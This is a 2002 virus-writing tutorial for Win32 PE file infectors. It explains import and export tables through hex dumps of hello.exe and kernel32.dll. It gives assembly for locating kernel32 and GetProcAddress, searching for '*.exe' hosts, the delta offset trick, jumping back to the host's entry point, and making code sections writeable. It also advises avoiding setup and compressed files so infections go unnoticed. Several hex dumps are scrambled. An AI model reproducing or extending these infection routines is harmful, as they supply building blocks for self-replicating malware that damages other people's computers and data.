78
86
00

00
00
00
00
65
30
30
00

00
00
00
00
72
00
00
4D

00
00
00
00
6E
00
00
65

3C
00
00
75
65
00
00
73

30
00
00
73
6C
00
00
73

00
00
00
65
33
00
00
61

00
00
00
72
32
00
00
67

............<0..
................
................
............user
32.dll..kernel32
.dll............
x0..............
0........Messag

00000880
00000890

65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63 eBoxA...ExitProc
65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 ess.............

View of IMPORT section AFTER loading hello.exe


MEMORY
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

00403000
00403010
00403020
00403030
00403040
00403050
00403060
00403070
00403080
00403090

58
60
48
00
33
2E
2E
F8
65
65

30
30
30
00
32
64
41
D4
42
73

00
00
00
00
2E
6C
F5
F8
6F
73

00
00
00
00
64
6C
BF
BF
78
00

91
68
70
00
6C
00
00
00
41
00

A1
30
30
00
6C
00
00
00
00
00

39
00
00
00
00
53
00
00
00
00

37
00
00
00
00
04
00
00
00
00

00
B4
00
00
6B
78
86
00
45
00

00
C2
00
00
65
30
30
00
78
00

F5
1F
00
00
72
00
00
4D
69
00

BF
37
00
00
6E
00
00
65
74
00

3C
00
00
75
65
00
00
73
50
00

30
00
00
73
6C
00
00
73
72
00

00
F7
00
65
33
00
00
61
6F
00

00
BF
00
72
32
00
00
67
63
00

..........+<0..
........-.7..+
................
............user
32.dll..kernel32
.dll............
.A+............
+......Messag
eBoxA...ExitProc
ess.............

It's very clear that some bytes have change ! ! ! The loader has write entry
point of imported APIs and others values I have describe...
The 60 first bytes are the 3 IMPORT DATA DIRECTORYs. the Last IMPORT DATA
DIRECTORY is null to set the end.
I will try to explain with the first IMPORT DATA DIRECTORY (20 first bytes) :
-At offset 00403000h is an 'RVA to a list of pointer to APIs names': this RVA
is 00003058h so we go on 00403058h and we will found a list of (RVA)pointer.
(the last pointer of the list is NULL).
-At offset 00403058h is a first rva pointer: this values is 00003078h. so we
go on 00403078h and we found 0,0,"MessageBoxA",0 ; This is the Name of the
API (The first byte are not always null, but the last byte is null)
-At offset 00403062h is a second rva pointer: this values is 00000000h. so it
is the end of this list.
-At offset 00403004h is an DATE/TIME value, no interest...
-At offset 00403008h is the address of the .DLL (from which is imported
MessageBoxA) so BFF50000h is the beginning of the .DLL and if you go on
BFF50000h you will find the PE header of the .DLL (so the first two byte are
"MZ")
-At offset 004030Ch is the RVA pointer to .DLL name : here it is 0000303Ch
so go on 0040303Ch and you will find "user32.dll",0 ;it is the name of the
.DDL . so MessageBoxA is in user32.dll library.
-At offset 00403010h is the RVA to API address list: 00003060h so go on
00403060h and you find a list of address of the API:
-The 1st address is here: BFF5412Eh . So it is the entry point of the API
"MessageBoxA"
-The second address is null so it is the end of the list.
So :

mov eax,dword BFF5412Eh ---+-----> do the -------> call MessageBoxA


call eax
__/
same thing as
the 'list of pointer to APIs names' and the 'list of API addresses' are two
parralels list: example:
the 3rd 'API name' in the 'list of pointer to APIs names' is relative to
the 3rd 'address' in the 'list of API addresses'.
Read several time this part of this article...I can't explain it better...
******************
* EXPORT SECTION *
******************
EXPORT section are found in .DLL file. When a .EXE is load, the loader write
on his IMPORT section the APIs address founded in the EXPORT section of the
.DLL
The EXPORT section looks like:
+---------------------------------------------------+
|
EXPORT DIRECTORY TABLE
|
+---------------------------------------------------+
|
Export Address Table
|
+---------------------------------------------------+
|
Export Name Table Pointers
|
+---------------------------------------------------+
|
Export Ordinal Table
|
+---------------------------------------------------+
|
Export Name Table (API name list)
|
+---------------------------------------------------+

**************************
* EXPORT DIRECTORY TABLE *
**************************
The export section begins with the Export Directory Table which describes the
remainder of the export information.
+-------------------------+-------------------------+
|
EXPORT FLAGS
|
TIME/DATE
|
+-------------------------+-------------------------+
|
MAJ\MIN VERSION
|
NAME RVA
|
+-------------------------+-------------------------+
|
ORDINAL BASE
|
# EAT ENTRIES
|
+-------------------------+-------------------------+
|
# NAME POINTERS
|
ADDRESS TABLE RVA
|
+-------------------------+-------------------------+
| NAME POINTER TABLE RVA |
ORDINAL TABLE RVA
|
+-------------------------+-------------------------+

EXPORT FLAGS

: currently set to 0

TIME/DATE STAMP

: Time/Date the export data was created.

MAJ\MIN VERSION

: A user settable major/minor version number.

NAME RVA

: RVA of the DLL ASCII Name.

ORDINAL BASE

: First valid exported ordinal. This field specifies the


starting ordinal number for the Export Address Table
for this image. Normally set to 1.

# EAT ENTRIES

: Indicates number of entries in the Export Address


Table.

# NAME POINTERS

: This indicates the number of entries in the Name


Pointer Table (and parallel Ordinal Table).

ADDRESS TABLE RVA

: RVA of the Export Address Table.

NAME POINTER TABLE RVA : RVA of the Export Name Table Pointers. This address is
relative to the beginning of the Image Base. This table
is an array of RVA's with #Names entries.
ORDINAL TABLE RVA

: RVA of Export Ordinals Table Entry.

************************
* Export Address Table *
************************
The Export Address Table contains list of dword of the address of exported
entrypoints of the API of the .DLL . An ordinal number is used to index the
Export Address Table. The Ordinal Base must be subtracted from the ordinal
number before indexing into this table.
******************************
* Export Name Table Pointers *
*******************************
The Export Name Table pointers array contains an address into the Export Name
Table. The pointers are 32-bits each (DWORD), and are relative to the Image
Base. The pointers are ordered lexically to allow binary searches.
************************
* Export Ordinal Table *
************************
The Export Name Table Pointers and the Export Ordinal Table form two parallel
arrays, separated to allow natural field alignment. The export ordinal table
array contains the Export Address Table ordinal numbers associated with the
named export referenced by corresponding Export Name Table Pointers.
The ordinals are 16-bits each (WORD), and already include the Ordinal Base
stored in the Export Directory Table.
*********************
* Export Name Table *
*********************
The Export Name Table contains optional ASCII names for exported entries in
the image. These tables are used with the array of Export Name Table Pointers

and the array of Export Ordinals to translate a procedure name string into an
ordinal number by searching for a matching name string. The ordinal number is
used to locate the entry point information in the Export Address Table.
Import references by name require the Export Name Table Pointers table to be
binary searched to find the matching name, then the corresponding Export
Ordinal Table is known to contain the entry point ordinal number. Import
references by ordinal number provide the fastest lookup because searching the
name table is not required. ASCII Strings are case sensitive and is
terminated by a null byte.
So let's take a look at kernel32.DLL (win98) after being load on memory by wi
ndows
MEMORY
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

BFF70000
BFF70010
BFF70020
BFF70030
BFF70040
BFF70050
BFF70060
BFF70070
BFF70080
BFF70090
BFF700A0
BFF700B0
BFF700C0
BFF700D0
BFF700E0
BFF700F0
BFF70100

4D
B8
00
00
0E
69
74
6D
50
00
00
00
04
00
00
00
00

5A
00
00
00
1F
73
20
6F
45
00
AA
90
00
50
00
00
00

90
00
00
00
BA
20
62
64
00
00
01
05
00
07
10
00
00

00
00
00
00
0E
70
65
65
00
00
00
00
00
00
00
00
00

03
00
00
00
00
72
20
2E
4C
E0
00
00
01
00
00
10
00

00
00
00
00
B4
6F
72
0D
01
00
00
00
00
04
10
00
00

00
00
00
00
09
67
75
0D
05
0F
00
F7
09
00
00
00
00

00
00
00
00
CD
72
6E
0A
00
21
00
BF
00
00
00
00
00

04
40
00
00
21
61
20
24
B4
0B
6F
00
04
98
00
50
00

00
00
00
00
B8
6D
69
00
C2
01
4B
10
00
C3
80
09
D0

00
00
00
00
01
20
6E
00
1F
03
01
00
00
07
00
05
05

00
00
00
00
4C
63
20
00
37
0A
00
00
00
00
00
00
00

FF
00
00
80
CD
61
44
00
00
00
00
00
00
02
00
B5
CC

FF
00
00
00
21
6E
4F
00
00
60
10
10
00
00
10
4F
76

00
00
00
00
54
6E
53
00
00
05
00
00
00
00
00
00
01

00
00
00
00
68
6F
20
00
00
00
00
00
00
00
00
00
00

MZ..............
................
................
................
..............Th
is program.canno
t.be.run.in.DOS.
mode............
PE..............
................
................
................
................
................
................
................
................

.DLL and .EXE have the same structure


-at offset BFF70000h is the MZ signature
-at offset BFF7003Ch is the new header relocation: 00000080h so we go on
BFF70080h
-at offset BFF70080h is the PE signature, the beginning of the PE header
-at offset BFF700B7h is the image base: BFF70000h
-at offset BFF700F8h is the RVA of the EXPORT section : 00050950h
Go on BFFC0950h (BFF70000h + 00050950h)
MEMORY
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC0950
BFFC0960
BFFC0970
BFFC0980
BFFC0990

00
01
FC
D4
D4

00
00
16
13
13

00
00
05
00
00

00
00
00
00
00

A0
61
A0
D4
D4

C2
03
22
13
13

1F
00
05
00
00

37
00
00
00
00

00
E9
D4
D4
D4

00
02
13
13
13

00
00
00
00
00

00
00
00
00
00

72
78
D4
D4
4D

28
09
13
13
42

05
05
00
00
01

00
00
00
00
00

It is the beginning of EXPORT section, the 20 first byte are the EXPORT
DIRECTORY TABLE #1 , the 20 next byte are the EXPORT DIRECTORY #2 ,.....,
the EXPORT DIRECTORY TABLE #1 is:

-At offset BFFC0950h are the flags : 00000000h


-At offset BFFC0954h the time and date the kernel was load : 371FC2A0
-At offset BFFC0958h the version of the .DLL : 00000000h
-At offset BFFC095Ch the name RVA :00052872h (BFFC2872h=image_base+this_RVA)
-At offset BFFC0960h the ordinal base: 00000001h
-At offset BFFC096Ch the ADDRESS TABLE RVA : 00050978h
(BFFC0978h=image_base+RVA)
-At offset BFFC0970h the NAME POINTER TABLE RVA : 000516FCh
(BFFC16FCh=image_base+RVA)
-At offset BFFC0974h the ORDINAL TABLE RVA : 000522A0h
(BFFC22A0h=image_base+RVA)
Let's see the kernel on memory at different address:
____________________________________________________________________________
NAME OF .DLL and API NAME LIST
MEMORY
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC2870
4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 41 ..KERNEL32.dll.A
BFFC2880 64 64 41 74 6F 6D 41 00 41 64 64 41 74 6F 6D 57 ddAtomA.AddAtomW
BFFC2890 00 41 6C 6C 6F 63 43 6F 6E 73 6F 6C 65 00 41 6C .AllocConsole.Al
BFFC28A0 6C 6F 63 4C 53 43 61 6C 6C 62 61 63 6B 00
locLSCallback.
____________________________________________________________________________
ADDRESS TABLE
MEMORY
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC0970
D4 13 00 00 D4 13 00 00
........
BFFC0980 D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00 ................
BFFC0990 D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00 ................
BFFC09A0 B6 17 02 00 BA 18 01 00 33 F7 01 00 DA 0B 01 00 ................
BFFC09B0 76 C5 00 00 3D B5 03 00 19 13 00 00 E8 E4 00 00 ................
BFFC09C0 E2 F5 02 00 62 CF 02 00 C0 CF 02 00 9A CF 02 00 ................
BFFC09D0 66 2B 02 00 9C B0 02 00 7A B3 02 00 3A B4 02 00 ................
BFFC09E0 8B AF 02 00 8F AF 02 00 93 AF 02 00 97 AF 02 00 ................
BFFC09F0 DB B3 02 00 DE B0 02 00 16 49 00 00 1C 97 02 00 ................
BFFC0A00 9E B3 02 00 87 AF 02 00 AE AF 02 00 74 1F 00 00 ................
BFFC0A10 AB 1F 00 00 A4 16 00 00 7A 15 00 00 A1 16 00 00 ................
BFFC0A20 5D 15 00 00 9E 16 00 00 14 14 00 00 39 16 00 00 ................
BFFC0A30 9B 16 00 00 C5 21 00 00 EE 21 00 00 1F 16 03 00 ................
____________________________________________________________________________
API NAME POINTER TABLE
MEMORY
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC16F0
7F 28 05 00
....
BFFC1700 88 28 05 00 91 28 05 00 9E 28 05 00 AE 28 05 00 ................
BFFC1710 BE 28 05 00 CE 28 05 00 D9 28 05 00 E4 28 05 00 ................
BFFC1720 F0 28 05 00 F5 28 05 00 0A 29 05 00 1F 29 05 00 ................
____________________________________________________________________________
ORDINAL TABLE
MEMORY
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC22A0 31 00 75 00 7A 00 7B 00 7C 00 7D 00 7E 00 7F 00
BFFC22B0 80 00 81 00 82 00 83 00 84 00 85 00 86 00 87 00
BFFC22C0 88 00 89 00 8A 00 8B 00 8C 00 8D 00 8E 00 8F 00
BFFC22D0 90 00 94 00 91 00 92 00 93 00 95 00 96 00 97 00
BFFC22E0 98 00 99 00 9A 00 9B 00 9C 00 9D 00 9E 00 9F 00
BFFC22F0 A0 00 A1 00 A2 00 A3 00 A4 00 A5 00 A6 00 A7 00
BFFC2300 A8 00 A9 00 AA 00 AB 00 AC 00 AD 00 AE 00 AF 00
____________________________________________________________________________
Now I will try to explain how to find the address of the first API in the API
Name list:
API NAME POINTER TABLE and ORDINAL TABLE
the 1st API NAME POINTER has for ordinal
the 2nd API NAME POINTER has for ordinal
.
.
.
.
.
.
.
.
.
.
.
.
.
.

are two parallel table:


the 1st ordinal in ORDINAL TABLE
the 2nd ordinal in ORDINAL TABLE
.
.
.
.
.
.
.
.
.
.
.
.

look at the beginning of API NAME POINTER TABLE and ORDINAL TABLE
* The first API NAME POINTER is: 0005287Fh (image_base+this_RVA=BFFC287Fh)
So see on BFFC287Fh: you find the ASCII string "AddAtomA",0 ;it is a name
of an API
* The first ORDINAL NUMBER

is: 0031h (49 in decimal)

So here is a problem for me to explain it to you: Some doc about PE file


format say that you you should do this substraction:
( ORDINAL_NUMBER - ORDINAL_BASE ) in order to find the right ordinal number.
But I don't understand it and I think it don't works. Some say this: "The
ordinals (WORD) already include the Ordinal Base stored in the Export
Directory Table and are 0 based.". I think it's right
so the first address on ADDRESS TABLE as for ordinal 0
the 2nd address on ADDRESS TABLE as for ordinal 1
the 3rd address on ADDRESS TABLE as for ordinal 2
.
.
.
.
.
. . .
.
.
.
.
.
.
.
. . .
.
.
.
.
.
.
.
. . .
.
.
so go on ordinal 0031h (49 in decimal) and you will find this address:
0003161Fh(at offset BFFC0A3Ch) .But don't forget to do this:
0003161Fh + image_base = 0003161Fh + 0BFF70000h = BFFA161Fh
So the entry point (address) of the API 'AddAtomA' is BFFA161Fh !!!!!!!!!
=============================================================
+
________
+
+
/\
|---\
|
|
|
____ +
+
/ \
|
|
|
--+----+-|
+
+
/
\
|___/
|
|
|
|____ +
+
/------\ | \
|
--+----+-\ +
+
/
\ |
\
|
|
|
____/ +
+
+
=============================================================
ACCESING WIN32 APIs

So we have see in the preview part that the problem for us is that
kernel32.dll And the entry point of API are not always at the same place. So
our objective is to find API address needed to run the virus: (like
CreateFile, WriteFile,...) To do this you should Find only two API address:
GetModuleHandle (or LoadLibraryA) and GetProcAddress. With them you can all
the other API address you want...
There is two way to find GetModuleHandle (or LoadLibraryA) and
GetProcAddress Address:
- By scanning the IMPORT section of the host file:
The problem here is that is the file don't import GetModuleHandle and
GetProcAddress so you can not find other API you need
- By scanning the EXPORT section of kernel32.DLL
The problem here is to find the image base (address) of kernel32.dll. In
win9X the addresses of .DLL were written on IMPORT section of the .EXE but it
is not the case on NT,2000,XP. So you can use this algo:
-find IMPORT section RVA in PE OPTIONAL HEADER
-find the first API address imported from kernel32.DLL
-set edi=this address found
-dec edi till you found the beginning of kernel32.dll ('MZ')
this code is only an example to find "MZ" signature in kernel32.dll
;***************
scan_IMPORT: ;*
;***************
mov esi,[image_base+ebp]

mov
add
mov
add
add
mov
add
add

;
;
;
;
;
;
;
;

eax,esi
eax,3ch
eax,[eax]
eax,esi
eax,128
eax,[eax]
eax,esi
eax,12

point on image base, this value should be


set at link time and be change during
infection if the prog as a different image
base
eax point on offset reloc_dword
eax point to the PE header

; eax point to import table


; point to the .dll name

;******************
find_kernel32: ;*
;******************
xor ebx,ebx
cmp dword[eax],ebx
je erreur
call is_it_kernel32
cmp ecx,3
jae find_kernel_image_base
add eax,20
jmp find_kernel32

;
;
;
;
;
;
;

end of object table?


if yes then end
FIND ascii sting "kernel32.dll"
found?
if yes then find_kernel_image_base
no then point to an other .DLL name

;************************
find_kernel_image_base:;*
;************************
mov eax,[eax+4]
add eax,esi
mov eax,[eax]

;
;
;
;

point to the list of API addresses pointer


point to API addresses list
eax=address of the 1st API imported from
kernel32.dll

xchg edi,eax
;********************
find_MZ_in_kernel: ;*
;********************
;so edi is an unknow address somewhere in kernel32.dll
dec edi
mov esi,edi
cmp word[edi],"MZ"
jne find_MZ_in_kernel

; edi point to the beginning of kernel32.dll ?


; if no then dec edi

mov esi,[esi+3ch]
cmp esi,dword 200h
ja find_MZ_in_kernel

; verify if header_reloc_dword < 200h


; in order not to crash the program

add esi,edi
cmp word[esi],"PE"
jne find_MZ_in_kernel
add esi,52

;
;
;
;

cmp edi,dword[esi]
jne find_MZ_in_kernel

; compare image_base with pointer esi


; not equal! then dec edi
; now edi=image base of kernel32.dll

mov
add
mov
add

esi,edi
esi,3ch
esi,[esi]
esi,edi

go on the new header


PE header?
no! then dec edi
point to image_base_dword

; now esi=image base of kernel32.dll


;
;
; esi point to the PE header

add esi,120
mov esi,[esi]
add esi,edi

;
; !!! esi point now to the EXPORT TABLE !!!

ret ;
; NOW you should find address of GetModuleHandle and GetProcaddress
; in the EXPORT section. and with these two APIs you will find
; all you need !!!!!
;
;
;
GOOD LUCK !!!!!!!!!
;
;
;******************
is_it_kernel32: ;*
;******************
xor ecx,ecx
mov ebx,dword[eax]
add ebx,esi

; ebx point to the name of the dll

cmp dword[ebx],"Kern"

jne az1
inc ecx
az1:
cmp dword[ebx+4],"el32"
jne az2
inc ecx
az2:
cmp dword[ebx+16],".DLL"
jne az3
inc ecx
az3:
ret

;
;
;
;
;
;
;
;
;
;
;
;

this code return ecx=3 if "Kernel32.DLL"


ASCII string is found.
But you should search too for:
"KERNEL32.DLL"
"kernel32.DLL"
"Kernel32.dll"
...
...
...

This piece of code is not optimised in order to be easy understood.


You should find your own way to code this part.

=============================================================
+
________
+
+
/\
|---\
|
|
|
___ +
+
/ \
|
|
|
--+----+-/
+
+
/
\
|___/
|
|
|
/____ +
+
/------\ | \
|
--+----+-|
\ +
+
/
\ |
\
|
|
|
\___/ +
+
+
=============================================================
HOW TO USE SOME APIs
+++++++++++++++++++
+ GetModuleHandle +
+++++++++++++++++++
The GetModuleHandle function returns a module handle for the specified module
if the file has been mapped into the address space of the calling process.
push lpModuleName ; address of module name to return handle for
call GetModuleHandleA
Parameters:
* IpModuleName
Points to a null-terminated string that names a Win32 module (either a .DLL
or .EXE file). If the filename extension is omitted, the default library
extension .DLL is appended. The filename string can include a trailing point
character (.) to indicate that the module name has no extension. The string
does not have to specify a path. The name is compared (case independently) to
the names of modules currently mapped into the address space of the calling
process. If this parameter is NULL, GetModuleHandle returns a handle of the
file used to create the calling process.
Return Values
If the function succeeds, the return value is a handle to the specified
module. If the function fails, the return value is NULL
_____________________________________________________________________________

+++++++++++++++++++
+ GetProcAddress +
+++++++++++++++++++
The GetProcAddress function returns the address of the specified exported
dynamic-link library (DLL) function.
push dword lpProcName
push dword [hModule]
call GetProcAddress

;name of function
;handle to DLL module

Parameters
* hModule
Identifies the DLL module that contains the function. The LoadLibrary or
GetModuleHandle function returns this handle.
* lpProcName
Points to a null-terminated string containing the function name, or specifies
the function's ordinal value. If this parameter is an ordinal value, it must
be in the low-order word; the high-order word must be zero.
Return Values
If the function succeeds, the return value is the address of the DLL's
exported function. If the function fails, the return value is NULL.
_____________________________________________________________________________
Example:
push dword Kern
call GetModuleHandleA
mov dword[handle],eax

; address of .DLL ascii name to return his handle


; return eax=handle
; save handle

push dword fct1


push dword[handle]
call GetProcAddress

; address of the ascii name of the API


; handle of module

fct1 db"WriteFile",0
Kern db "Kernel32.dll",0
handle dd 0
_____________________________________________________________________________
+++++++++++++++++
+ FindFirstFile +
+++++++++++++++++
The FindFirstFile function searches a directory for a file whose name matches
the specified filename. FindFirstFile examines subdirectory names as well as
filenames.
push dword lpFileName
; pointer to name of file to search for
push dword lpFindFileData ; pointer to returned information
call FindFirstFileA

Parameters
* lpFileName:
Points to a null-terminated string that specifies a valid directory or path
and filename, which can contain wildcard characters (* and ?). This string
must not exceed MAX_PATH characters.
* pFindFileData:
Points to the WIN32_DATA structure that receives information about the found
file or subdirectory. The structure can be used in subsequent calls to the
FindNextFile or FindClose function to refer to the file or subdirectory.
Return Values
If the function succeeds, the return value is a search handle used in a
subsequent call to FindNextFile or FindClose.
If the function fails, the return value is INVALID_HANDLE_VALUE (-1 or
0FFFFFFFFh)
Example:
push dword Win32data
push dword exe_mask
call FindFirstFileA
cmp eax,-1
je error
mov dword[search_handle],eax

;
;
;
;
;
;

add of structure of information about the file


address of ascci name of the file to search
return in eax an search handle
error? file not found?
save handle

search_handle dd 0
exe_mask db"*.exe",0
Win32data:
FileAttributes
CreationTime
LastAccessTime
LastWriteTime
FileSizeHigh
FileSizeLow
Reserved0
Reserved1
FileName
AlternateFileName

dd 0
dd 0,0
dd 0,0
dd 0,0
dd 0
dd 0
dd 0
dd 0
resb 260
resb 13

;attributes
;time of creation
;last access time
;last modification
;filesize
; "
;long filename
;short filename

_____________________________________________________________________________
++++++++++++++++
+ FindNextFile +
++++++++++++++++
The FindNextFile function continues a file search from a previous call to the
FindFirstFile function.
push dword Win32data
push dword[hFindFile]
call FindNextFileA

; address of Win32data
; handle to search

Parameters
* hFindFile
Identifies a search handle returned by a previous call to the FindFirstFile
function.
* lpFindFileData
Points to the WIN32_FIND_DATA structure that receives information about the
found file or subdirectory. The structure can be used in subsequent calls to
FindNextFile to refer to the found file or directory.
Return Values
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero.
Example:
push dword Win32data
push dword [search_handle]
call FindNextFileA
cmp eax,0
je error

; address of Win32data
; handle to search
; no more file?
;

____________________________________________________________________________
++++++++++++++
+ CreateFile +
++++++++++++++
The CreateFile function creates or opens the following objects and returns a
handle that can be used to access the object:
files, pipes , mailslots ,communications resources ,disk devices (Windows NT
only) consoles ,directories (open only)
example:
push dword 0
push dword 0
push byte 3
push dword 0
push dword 3
push dword 0c0000000h
push dword FileName
call CreateFileA
mov [handle+ebp],eax
inc eax
jz erreur

; OPEN_EXISTING flag: Opens the file.


;
;
;
;
;
;
;

FILE_SHARE_READ n' FILE_SHARE_WRITE flags.


flag for Read/Write access
FileName address in win32data (File to open)
return eax=handle of the file
save handle of the file
if eax=0ffffffffh then error

_____________________________________________________________________________
See also the APIs CreateFileMapping
MapViewOfFile
OpenFileMapping
UnmapViewOfFile

MapAndLoad
UnMapAndLoad
CloseHandle
SetEndOfFile
SetFileTime
WriteFile
ReadFile
SetFilePointer
SetCurrentDirectory
GetCurrentDirectory
GetWindoxsDirectory
=============================================================
+
________
+
+
/\
|---\
|
|
|
_____ +
+
/ \
|
|
|
--+----+-/ +
+
/
\
|___/
|
|
|
/ +
+
/------\ | \
|
--+----+-/
+
+
/
\ |
\
|
|
|
/
+
+
+
=============================================================
DELTA OFFSET
I will now explain to you the DELTA OFFSET but first take a look at your
first WIN32 program (hello.EXE)
I you have understood how a PE .EXE file is made so you will understand
that the code section begin at offset 00401000h (entry_point+image_base)
(in a standard PE file, normaly linked)
OFFSET
| OPCODE IN HEX VALUE
| CODE
----------|----------------------------------|---------------------00401000h | 6A00
| push byte 0
00401002h | 681A104000
| push dword caption
00401007h | 6834104000
| push dword text
0040100Ch | 6A00
| push byte 0
0040100Eh | E8ED0F0000
| call MessageBoxA
00401013h | 6A00
| push byte 0
00401015h | E8EC0F0000
| call ExitProcess
0040101Ah | 596F757220666972737420
| caption db "Your first
| 57494E33322070726F6772616D6D00 | WIN32 programm",0
00401034h | 48454C4C4F00
| test db "HELLO",0
look now at offset 00401002h , you see that : 68 1A104000
|
|
+--------------------+
|
|
|
+--------------------------+ +-----------+
| push on stack the dword | | 0040101Ah |
+-------------+------------+ +-----------+
| push dword | | caption |
+------------+ +-----------+
Did you see our problem ? NO ! so imagine that you put this piece of code at
the end of one another file (like a virus do) , so the code will not run

because the address of "caption" label has change ! ! !


It will not run for a second reason: The IMPORT section is not the same...
The delta offset technique is the most used:
call delta
; (push eip)
delta:
pop ebp
; (ebp=eip)
sub ebp,dword delta
when you make a CALL the value of the EIP register is push on stack so you
pop him (pop ebp) and sub him to the dword 'offset delta' and now ebp point
to delta label (ebp=offset delta)
so the code:

mov eax,dword label1


mov ebx,dword[label2]

should be change in :

call delta
delta:
pop ebp
sub ebp,dword delta
lea eax,[label1+ebp]
mov ebx,dword[label2+ebp]

CLEAR ? ? ? There is other technique to do the same thing with no use of the
delta technique...
Note that you can do this too:
call delta
delta:
pop edx
sub eax,dword delta
...
...
...
lea eax,[label1+edx]
mov ebx,dword[label2+edx]
but the register edx should never change in all your code ! ! !
=============================================================
+
________
+
+
/\
|---\
|
|
|
____ +
+
/ \
|
|
|
--+----+-/
\ +
+
/
\
|___/
|
|
|
\____/ +
+
/------\ | \
|
--+----+-/
\ +
+
/
\ |
\
|
|
|
\____/ +
+
+
=============================================================
RETURN TO THE HOST

A WIN32 PE .EXE file begin with eax=program_entry_point.


To return to the host it's very simple:
virus_begin_here:
pushad

; save registers on stack

;
; INFECT FILES !
;
mov eax,dword[image_base+ebp]
;
add eax,dword[original_entry_point+ebp] ;
mov dword[jump+ebp+1],eax
; simulate a jmp to original entry
; point
popad

; restore registers

db 68h,0,0,0,0

; simulate push word[address_of_original_entry_point+ebp]


; return to the host !!!!!!!

jump:
ret

=============================================================
+
________
+
+
/\
|---\
|
|
|
____ +
+
/ \
|
|
|
--+----+-/
\ +
+
/
\
|___/
|
|
|
\____/ +
+
/------\ | \
|
--+----+-/ +
+
/
\ |
\
|
|
|
__/ +
+
+
=============================================================
**************************
* CODE SECTION WRITEABLE *
**************************
when you code a virus you put your code, data, idata in only one section (in
the code section) But when the linker link your vx it create a 'non
writeable' code section so you have to change the flag of your code section
(in object table)
quick view in hexadecimal:
when you link an 'normal' program, the code section looks like (in object
table):
00000160
00000170
00000180

43 4F 44 45 00 00 00 00
CODE....
00 10 00 00 00 10 00 00 CF 00 00 00 00 04 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 ................

at offset 18Ch you see the flag: 60000060h


200000000h Executable object

+ 400000000h Readable object


+ 000000020h Code object
+ 000000040h Initialized data object
---------60000060h
so with this flag you can't write on this section , so change the flags!!!
(don't forget to inverse the byte of the dword !!)
********************
* REDUCE YOUR CODE *
********************
You can optimise your code for two reasons:
- To have a code which run faster.
- To have the smallest code possible.
Theses two aspect of optimisation are very interesting for a virus, but
I will speak here only about how to have the smallest code possible.
Of course you can use some old trick like : (read old V zine)
xor eax,eax
push eax
push eax
push eax

instead of
.
.
.

push dword 0
push dword 0
push dword 0

or eax,eax
instead of
jz go_somewhere
.

cmp eax,0
je go_somewhere

xor eax,eax
mov al,4

instead of
.

mov eax,4

jecxz go_away

instead of
.

cmp ecx,0
je go_away

But I will not tell you here how to minimize your op codes...Let's read zine.
Imagine now that you have minimize your op codes to the maximum ! You can
still reduce your code...HOW? take a look at your buffers, they take an
enormous place in your code. I think to the Win32Data buffer for example.
Win32data:
FileAttributes
CreationTime
LastAccessTime
LastWriteTime
FileSizeHigh
FileSizeLow
Reserved0
Reserved1
FileName
AlternateFileName

dd 0
dd 0,0
dd 0,0
dd 0,0
dd 0
dd 0
dd 0
dd 0
resb 260
resb 13

317 bytes long !!!!! The trick is not to put your buffer in the code but in
memory.
To do that you need an API to allocate memory: You can use GlobalAlloc.

;------------------------------------------------------------------------------;
push dword 317
; nb of byte to allocate
;
push dword 40h
; ZERO_INIT flag
;
call [XGlobalAllocX+ebp]
; [XGlobalAllocX] is the address of
;
; GlobalAlloc API you have found after
;
; scanning IMPORT or EXPORT table
;
mov dword[mem_alloc+ebp],eax ; save the offset of the allocated memory ;
;------------------------------------------------------------------------------;
Ok. Now you have allocated some memory for your Win32DATA. Use this
memory_buffer like this:
;---------------------------------------------------------------------------;
;********************
;
find_first:
;**
;
;********************
;
mov eax,[mem_alloc+ebp]
;
;
push eax
; offset of Win32 in memory
;
lea eax,[exe_mask+ebp]
;
;
push eax
; file to find
;
call dword [XFindFirstFileAX+ebp]
; search!
;
mov dword[search_handle+ebp],eax ; save handle
;
ret
;
exe_mask
db "*.exe",0
;
search_handle dd 0
;
;
;---------------------------------------------------------------------------use push

dword[mem_alloc+ebp] to free the memory


call [XGlobalFreeX]

If you have a lot of buffer you can reduce your code by 400 or 500 bytes !
It is not very hard to adjust your code.
Cool isn't it?

**********************
* COMPRESSED PE FILE *
**********************
Some PE .EXE are compressed by some software like UPX. It's cool when you
want to reduce the size of the .EXE ( to put in an download area on the web
for example) I know only 3 way to check them:
- number of APIs imported:
in a PE .EXE compressed file, the import section contains only a few APIs
imported. You can check the number of APIs imported from kernel32.dll and you
should avoid the infection if the file imports less than 7,8 or 10 APIs
- flags of the section in object table...
Some PE compressor set special flag of the section in the object table
- ASCII name of the file

You can check if the file name contains those words: setup, install, ...
You should not infect those type of file !!!!!!!!!!

==========================================================================
==========================================================================
I hope that this tutorial will help you but don't forget this:
DON'T DESTROY ANYTHING !!!
PEACE !
LiTlLe VxW
October 2002

You might also like